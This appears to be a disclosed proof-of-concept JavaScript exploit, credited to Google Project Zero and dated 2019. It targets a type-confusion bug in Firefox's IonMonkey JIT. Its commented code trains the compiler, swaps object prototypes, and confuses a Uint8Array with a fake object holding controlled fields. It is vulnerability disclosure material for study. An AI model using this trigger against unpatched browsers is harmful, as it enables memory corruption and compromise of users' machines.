- Report: Feb 2019
- Fix: Mar 2019
- Credit: Samuel Gross, Google Project Zero
let ab = new ArrayBuffer(1024);
function hax(o, changeProto) {
// The argument type for |o| will be object of group OG1 or OG2. OG1 will
// have the inferred types {.p: [Y]}. OG2 on the other hand will be an
// ObjectGroup with unknown property types due to the prototype change. As
// such, OG2 will never have any inferred property types.
// Ultimately, this code will confuse types X and Y with each other.
// Type X: a Uint8Array
let x = new Uint8Array(1024);
// Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :)
let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
if (changeProto) {
o.p = x;
// This prototype change will cause a new ObjectGroup, OG_N, to be
// allocated for o every time it is executed (because the prototype is
// stored in the ObjectGroup). During creation of the new ObjectGroup,
// the current property values will be used to infer property types. As
// such, OG_N will have the inferred types {.p: [X]}.
o.__proto__ = {};
}
// This property write was not marked as requiring type barriers to
// validate the consistency of inferred property types. The reason is that
// for OG1, the property type is already correct and OG2 does not track
// property types at all. However, IonMonkey failed to realize that the
// ObjectGroup of o could have changed in between to a new ObjectGroup that
// has different inferred property types. As such, the type barrier
// omission here is unsafe.
//
// In the second invocation, the inline cache for this property store will
// then be a hit (because the IC only uses the Shape to index the cache,
// not the Group). As such, the inferred types associated with the
// ObjectGroup for o will not be updated and will be left inconsistent.
o.p = y;
return o;
}
function pwn(o, trigger) {
if (trigger) {
// Is on a code path that wasn't executed in the interpreter so that
// IonMonkey solely relies on type inference instead of type profiles
// from the interpreter (which would show the real type).
return o.p[0];
} else {
return 42;
}
}
// "Teach" the function hax that it should accept objects with ObjectGroup OG1.
// This is required as IonMonkey needs to have at least one "known" type when
// determining whether it can omit type barriers for property writes:
// https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282
for (let i = 0; i < 10000; i++) {
hax({}, false);
}
// Compile hax to trigger the bug in such a way that an object will be created
// whose ObjectGroup indicates type X for property .p but whose real type will
// be Y, where both X and Y can be arbitrarily chosen.
let evilObj;
for (let i = 0; i < 10000; i++) {
evilObj = hax({}, true);
// Not sure why this is required here, it maybe prevents JITing of the main
// script or similar...
eval('evilObj.p');
}
// JIT compile the second function and make it rely on the (incorrect) type
// inference data to omit runtime type checks.
for (let i = 0; i < 100000; i++) {
pwn(evilObj, false);
}
// Finally trigger a type confusion.
pwn(evilObj, true);